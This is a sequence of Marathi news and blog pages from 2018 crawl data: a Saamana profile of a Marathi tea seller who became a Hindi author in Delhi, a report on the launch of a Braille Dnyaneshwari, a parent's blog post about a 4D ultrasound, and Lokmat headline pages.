याच हिंदी भवनाच्या शेजारी एक चहाचे दुकान आहे आणि त्याची माहिती झाल्यावर आपला मराठी उर पुन्हा भरून येतो. हे दुकान सर्वसामान्यांच्या चहाच्या दुकानासारखेच असेल असा तुमचा प्रथमदर्शनी समज होऊ शकतो. मात्र, या दुकानातून चहा विकणारा अवलिया जेव्हा सरस्वतीची पूजा बांधताना दिसतो त्या वेळी मात्र अवाक् व्हायला होते. लक्ष्मणराव या नावाने हे व्यक्तिमत्त्व दिल्ली आणि तिकडील एकूणच साहित्यविश्वात परिचित आहे. पंचवीसहून अधिक पुस्तके, नाटक, कथासंग्रह त्यांनी लिहिले आहेत. हे कसे शक्य झाले, असा प्रश्न आपल्याला पडतो. मात्र लक्ष्मणरावांशी बोलताना या प्रश्नाचे धागे ते स्वतःच हळूहळू उलगडतात. लक्ष्मणराव हे नाव हल्ली दिल्लीच्या उत्तर हिंदुस्थानच्या हिंदी साहित्य विश्वात हिंदीतच सांगायचे झाले, तर जानेमाने झाले असले तरी त्यामागचा लक्ष्मण नथूजी शिरभाते या माणसाचा प्रवास हा अत्यंत रोमहर्षक, संघर्षपूर्ण व तितकाच प्रेरणादायी आहे. 1975मध्ये वयाच्या अवघ्या बाराव्या वर्षी लक्ष्मण नावाच्या एका विदर्भातील मुलाला हिंदीच्या प्रेमाने दिल्लीत ओढून आणले. कुटुंबांची कसलीही साहित्यिक पार्श्वभूमी नसताना लक्ष्मणरावांनी हिंदीच्या प्रेमापोटी दिल्ली गाठली आणि नंतर ते पक्के दिल्लीकर बनले. गेल्या त्रेचाळीस वर्षांत या मराठी माणसाने दिल्लीत आपले स्थान निर्माण केले. महाराष्ट्रातून सहावी अर्धवट सोडून दिल्ली गाठलेल्या लक्ष्मणरावांनी पुढे एम.ए.पर्यंतचे शिक्षण पूर्ण केले. पुस्तक लिहिण्याची लक्ष्मणरावांना मनस्वी आवड. मात्र, एका प्रकाशकाने पुस्तक छापण्यास तर नकार दिलाच, शिवाय ‘गेट आऊट’ म्हणत ऑफिसबाहेर काढले. ती सल मनात राहिलेले लक्ष्मणराव मग जिद्दीने अधिकच खंबीर झाले आणि त्यांनी स्वतःचीच छोटी प्रकाशन संस्था काढली. गुलशन नंदांच्या साहित्याने प्रेरित होऊन त्यांनी लेखनाला सुरुवात केली. आतापर्यंत लक्ष्मणरावांनी 25च्या वर पुस्तके लिहिली आहेत. त्यात रामदास, रेणू, नर्मदा यांच्यासह पाच कथासंग्रह आहेत, तर अस्तित्व, अहंकार, लडकों का उत्तरदायित्व या पुस्तकांखेरीज त्यांनी इंदिरा गांधींवर लिहिलेले नाटकही प्रसिद्ध आहे. ‘बॅरिस्टर गांधी’ नावाचे त्यांचे पुस्तकही चांगलेच नावाजले गेले. गुलशन नंदांसारखे बनायचे हे स्वप्न घेऊन दिल्लीत आलेले लक्ष्मणराव आता इथे चांगलेच स्थिरावले आहेत. दोन मुलांना उच्चशिक्षण दिल्यानंतर आता मला हिंदीतला शेक्सपियर व्हायचेय, हे स्वप्न ते बोलून दाखवतात. हिंदी पुस्तकांचे उर्दू तसेच पंजाबी भाषांमध्ये अनुवाद करण्याचाही त्यांचा मानस आहे. लक्ष्मणरावांना दिवंगत पंतप्रधान इंदिरा गांधींची घेतलेली भेट अविस्मरणीय वाटते, तर माजी राष्ट्रपती प्रतिभाताई पाटील यांनीही लक्ष्मणरावांना राष्ट्रपती भवनात आमंत्रित केल्याची आठवण ते आवर्जून सांगतात. अर्थतज्ञ आणि माजी केंद्रीय मंत्री यशवंत सिन्हा आवर्जून लक्ष्मणरावांना जाऊन भेटले आहेत. आम आदमी पक्षाचा जन्म होण्यापूर्वी चळवळीत असलेल्या अरविंद केजरीवालांचा लक्ष्णरावांचे चहाचे दुकान हाच गप्पाष्टकांचा अड्डा होता. ‘हिंदी भवन’जवळचा पानाचा ठेला हा त्यांचा ऑफिशियल ऍड्रेस. दिल्लीत राहून दिल्ली आत्मसात करणारा तसेच हिंदीची पूजा बांधणारा हा अवलिया त्यामुळेच वेगळा ठरतो. दिल्लीतल्या हिंदी वर्तुळात जम बसवलेल्या लक्ष्मणरावांना आपल्या मराठी असण्याचाही अभिमान तितकाच वाटतो.\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nमागीलकलेला मोठं झालेलं बघायचं आहे\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nरोखठोक : पोस्टर बॉय काय करतोय\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा...\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00443.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.saamana.com/braille-lipi-dnyaneshwari-published-by-uddhav-uddhav-thackeray/", "date_download": "2018-09-25T16:44:12Z", "digest": "sha1:UEOFB3OAPTHCX3GSHN7JEEGS6DAMXQK5", "length": 21642, "nlines": 264, "source_domain": "www.saamana.com", "title": "ज्ञानेश्वरीने अंधांचे जीवनही उजळून निघेल, उद्धव ठाकरे यांच्या हस्ते ‘ब्रेल ज्ञानेश्वरी’चे प्रकाशन | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\n20 ऑक्टोबर पासून गाळपाचा शुभारंभ; बीड जिल्ह्यात सात कारखाने सज्ज\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : हिंदुस्थानची दमदार सुरुवात\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nज्ञानेश्वरीने अंधांचे जीवनही उजळून निघेल, उद्धव ठाकरे यांच्या हस्ते ‘ब्रेल ज्ञानेश्वरी’चे प्रकाशन\nसर्वसामान्यांना जे उघड्या डोळ्यांनी दिसत नाही ते पाहण्याची दिव्यदृष्टी अंधांकडे असते. ज्ञानेश्वरी वाचल्याने सर्वसामान्यांच्या आयुष्यात प्रकाश पडतोच; पण ही ज्ञानेश्वरी आता ब्रेल लिपीतूनही उपलब्ध झाल्याने अंधांचे जीवनही उजळून निघेल, अशा शुभेच्छा शिवसेना पक्षप्रमुख उद्धव ठाकरे यांनी आज ‘ब्रेल ज्ञानेश्वरी’च्या प्रकाशनावेळी दिल्या.\nज्ञानेश्वरीचे ज्ञान अंध बांधवांना व्हावे यासाठी ज्ञानेश्वरी या ग्रंथाचे ब्रेल लिपीत रुपांतर करण्यात आले आहे. हा उपक्रम ‘दि ब्लाईंड वेल्फेअर ऑर्गनायझेशनने हाती घेतला आहे. शिवसेनाभवनमध्ये पक्षप्रमुख उद्धवसाहेब ठाकरे यांच्या हस्ते ब्रेल लिपीतील ज्ञानेश्वरीचा प्रकाशन सोहळा पार पडला. pic.twitter.com/2H9OgY9Edl\n‘दी ब्लाइंड वेल्फेअर ऑर्गनायझेशन’ संस्थेच्या वतीने अंधांसाठी ब्रेल लिपीतील ‘ज्ञानेश्वरी’ प्रसिद्ध करण्यात आली. या ग्रंथाचे प्रकाशन शिवसेना पक्षप्रमुख उद्धव ठाकरे यांच्या हस्ते शिवसेना भवन येथे झाले. यावेळी शिवसेना नेते खासदार संजय राऊत, ‘एबीपी माझा’चे संपादक राजीव खांडेकर उपस्थित होते. अंध व्यक्तींसाठी ‘दी ब्लाइंड वेल्फेअर ऑर्गनायझेशन’कडून राबविण्यात येणार्‍या उपक्रमांबाबत उद्धव ठाकरे यांनी संस्थेचे अध्यक्ष अरुण भारस्कर यांचे कौतुक केले. शिवसेना अंध व्यक्तींच्या पाठीशी ठामपणे उभी राहील. त्यांच्यासाठी राबविण्यात येणार्‍या विविध उपक्रमांत आम्ही सहकार्य करू, अशी ग्वाही उद्धव ठाकरे यांनी दिली.\nयावेळी खासदार अरविंद सावंत, शिवसेना सचिव खासदार विनायक राऊत, माजी महापौर महादेव देवळे, दगडू सकपाळ, उपनेते रवींद्र मिर्लेकर, ब्लाइंड ऑर्गनायझेशनमधील महेंद्र मोरे, कल्पना पांडे, सेंट्रल रोटरी क्लबच्या नेहा निंबाळकर आदी उपस्थित होते.\nअंध विद्यार्थ्यांनी वाचला ज्ञानेश्वरीचा अध्याय\nब्रेल लिपीतील ‘ज्ञानेश्वरी’ ग्रंथामध्ये १२, १५, १६ आणि १८ वा हे चार अध्याय देण्यात आले आहेत. १८ व्या अध्यायामध्ये ज्ञानेश्वरीचे संपूर्ण सार आले असून प्रत्येक अंध विद्यार्थ्यापर्यंत ‘ज्ञानेश्वरी’ पोहोचविण्याचा आमचा प्रयत्न आहे, असे संस्थेचे अध्यक्ष अरुण भारस्कर यांनी सांगितले. यावेळी तिथे जमलेल्या अंध विद्यार्थ्यांना ज्ञानेश्वरी देण्यात आली. ब्रेल लिपीतील ज्ञानेश्वरीवरून बोटे फिरवताना या विद्यार्थ्यांच्या मुखातून एक एक ओवी सहज बाहेर पडली.\nज्ञानेश्वरी बेल लिपीत आणणे हे मोठे काम\nआजच्या युगात डोळस व्यक्तींनाही अध्यात्माची नव्याने ओळख करून देण्याची आवश्यकता आहे. डोळस व्यक्ती समाजात अंधपणे वावरत आहेत; मात्र अंध व्यक्ती आज खर्‍या अर्थाने समाजात दिव्यदृष्टीने वावरत आहेत. त्यांच्याकडून समाजाने खूप काही शिकण्यासारखे आहे. या अंध व्यक्तींच्या आयुष्यात या ज्ञानेश्वरीच्या माध्यमातून अध्यात्म पोहोचेल, अशी आशा राजीव खांडेकर यांनी व्यक्त केली. तर शिवसेना नेते खासदार संजय राऊत यांनी भगवद्गीतेचे ज्ञान ‘ज्ञानेश्वरी’च्या माध्यमातून संत ज्ञानेश्वरांनी सर्वसामान्यांपर्यंत पोहोचविले. हेच ज्ञान आता अंधांपर्यंत पोहोचविण्याचे महान कार्य ‘दी ब्लाइंड वेल्फेअर असोसिएशन’च्या माध्यमातून केले जात असल्याचे गौरवोद्गार काढले.\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nमागील‘त्या’ मुलीचा मृत्यू फुप्फुसांतर्गत रक्तस्रावामुळे\nपुढीलतीन आठवड्यांच्या प्रतीक्षेनंतर नांदेडमध्ये श्रावणसरींचे आगमन\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00443.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://baal-saloni.blogspot.com/2009/03/4d.html", "date_download": "2018-09-25T17:46:19Z", "digest": "sha1:ON34IXMDDTFZMCS7NF27FOZ2EUXASSPJ", "length": 6477, "nlines": 66, "source_domain": "baal-saloni.blogspot.com", "title": "बाल-सलोनी: 4D अल्ट्रासाऊण्ड", "raw_content": "\nकाल आम्ही तुझी 4D अल्ट्रासाऊण्ड करायला गेलो होतो. 4D अल्ट्रासाऊण्ड ही वैद्यकीयदृष्ट्या आवश्यक गोष्ट नाही इकडे अमेरिकेत तंत्रज्ञान प्रगत आहे. 4D अल्ट्रासाऊण्ड द्वारे बाळाचा जन्म होण्याच्या आधिच बाळाचा चेहेरा पाहता येतो. चित्र अर्थातच नेहेमीच्या फोटो इतके स्पष्ट नसते. परंतु बाळाचा एकंदरीत तोंडवळा नक्कीच कळतो. तर आम्ही इथेच घरापासुन २ मैलावर (अमेरिकेत हे एक विचीत्र आहे. मैल, गॅलन, फुट, पाउण्ड ... सर्वकाही जगाच्या उलट इकडे अमेरिकेत तंत्रज्ञान प्रगत आहे. 4D अल्ट्रासाऊण्ड द्वारे बाळाचा जन्म होण्याच्या आधिच बाळाचा चेहेरा पाहता येतो. चित्र अर्थातच नेहेमीच्या फोटो इतके स्पष्ट नसते. परंतु बाळाचा एकंदरीत तोंडवळा नक्कीच कळतो. तर आम्ही इथेच घरापासुन २ मैलावर (अमेरिकेत हे एक विचीत्र आहे. मैल, गॅलन, फुट, पाउण्ड ... सर्वकाही जगाच्या उलट त्याबद्दल पुन्हा कधितरी) एका ठिकाणी गेलो. अर्थात ही वैद्यकिय गरज नसल्यामुळे ही अल्ट्रासाऊण्ड आरोग्य विम्याकडुन मंजुर नसल्यामुळे आम्हीच १२९ डॉलर्स मोजले (सध्या आर्थिक मंदीमुळे १२९ - नाहीतर ३०० आहे म्हणे. मला माझ्या बहिणीची आठवण आली. ती तुळशीबागेतुन काही तरी गरज नसलेल्या वस्तु खरेदी करायची आणि वडिलांना म्हणायची सेल मध्ये ५० रुपयामध्ये मिळाले आहे, नाहीतर १०० किंमत आहे)असो.. परंतु ते दुकान एकंदरीत जोरात चालले होते. भरपुर गर्दी होती. १२९ डॉलर्स मध्ये २० मिनिटे अल्ट्रासाऊण्ड आणि ४ रंगीत फोटो अनि एक सीडी. असे पॅकेज आहे.\nपरंतु सलोनीबाई तुमचा मूड काही ठिक नव्हता. तुझे डोकेच सापडेना. (डोकं फिरलया .. बयेचं डोकं फिरलया - मुग्धाचं गाणं मनात येउ लागलं.). अल्ट्रासाऊण्ड च्या बाईने मग सोनालीचे पोट धरुन हलवले. आम्ही दोघेही दचकलोच - मुग्धाचं गाणं मनात येउ लागलं.). अल्ट्रासाऊण्ड च्या बाईने मग सोनालीचे पोट धरुन हलवले. आम्ही दोघेही दचकलोच पण जेणो काम तेणो ठाय असा विचार करून गप्प बसलो. बर पडद्यावर काय दिसते आहे तेही काही कळत नव्हते. ती म्हणाली पाय आहे आपण म्हणायचे पाय आहेत. ती डोके म्हणाली की आपण म्हणायचे डोके. असो ... परंतु एकदा तिला काही तरी निश्चीत सापडले असे दिसले ... आणि तिने मग एक जादुचे (जी ई कंपनीचे) बटण दाबले आणि सिद्धुचा जन्म झाला त्यावेळी तो जसा दिसत होता तसाच चेहेरा काही क्षण दिसला.\nपरंतु अगं राणी तु अशी रुसुन बसलीस की त्या एक-दोन क्षणांपलिकडे विशेष काही दिसले नाही.\nत्यामुळे आम्ही आता मंगळवारी पुन्हा जाणार आहोत. त्यावेळी भरपुर गार आणि साखरयुक्त असे पेय घेउन यायला सांगीतले आहे. बघु त्यावेळी तरी तुझी मर्जी होते काय आमच्यावर.\nदिसामाजी काहीतरी (नवीन) लिहित जावे\nकॉप्स (अर्थात - अमेरिकन पोलिस)\nआईशी संवाद - भाग २ (4D अल्ट्रासाऊन्ड)\nसोनालीची ग्लूकोज चाचणी २ आणि प्लेटलेट्स\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00445.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://lokmat.news18.com/amp/photo-gallery/valentine-week-2018-read-10-classic-love-stories-of-the-world-281987.html", "date_download": "2018-09-25T17:33:26Z", "digest": "sha1:3QI2YMNIKST5GU4TCFTZNYXZYR4SHOCX", "length": 1713, "nlines": 24, "source_domain": "lokmat.news18.com", "title": "Lokmat News - व्हॅलेंटाइन डे : 'या' आहेत जगातल्या 10 अजरामर प्रेमकथा–News18 Lokmat", "raw_content": "\nव्हॅलेंटाइन डे : 'या' आहेत जगातल्या 10 अजरामर प्रेमकथा\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\n‘गणेशोत्सवाचं मॅनेजमेंट’ : पुण्याच्या संस्कृतीचा संपन्न वारसा, श्रीमंत दगडूशेठ हलवाई गणपती\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00445.warc.wet.gz", "language": "mr", "language_score": 0.89, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/pandharpur-wari/", "date_download": "2018-09-25T16:49:15Z", "digest": "sha1:PIY5O4DQO4EINOI7RMXLIWG6OVJ6PCRM", "length": 10412, "nlines": 144, "source_domain": "lokmat.news18.com", "title": "Pandharpur Wari- News18 Lokmat Official Website", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nउद्याची आषाढी एकादशी सुरळीत पार पडण्यासाठी उदयनराजेंनी लिहलं पत्र\nटाळ-मृदुगांच्या गजरात अवघी पंढरी आता वारकऱ्यांनी सजू लागली आहे.\nभेटी लागी जीवा (12 जुलै)\nब्लॉग स्पेस Jul 12, 2016\nपाऊले चालती पंढरीची वाट...\nभेटी लागी जीवा (11 जुलै)\nबेस्ट ऑफ 'भेटी लागी जीवा'\nभेटी लागी जीवा (10 जुलै)\nतुकोबारायांच्या पालखीचं तिसरं रिंगण\nभेटी लागी जीवा (08 जुलै)\nभेटी लागी जीवा (07 जुलै)\nभेटी लागी जीवा (06 जुलै)\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00445.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/railway/all/page-27/", "date_download": "2018-09-25T17:32:10Z", "digest": "sha1:44GNEL4V4GQJUOAPT6PTOYXGJ5G3CXY6", "length": 9802, "nlines": 129, "source_domain": "lokmat.news18.com", "title": "Railway- News18 Lokmat Official Website Page-27", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक 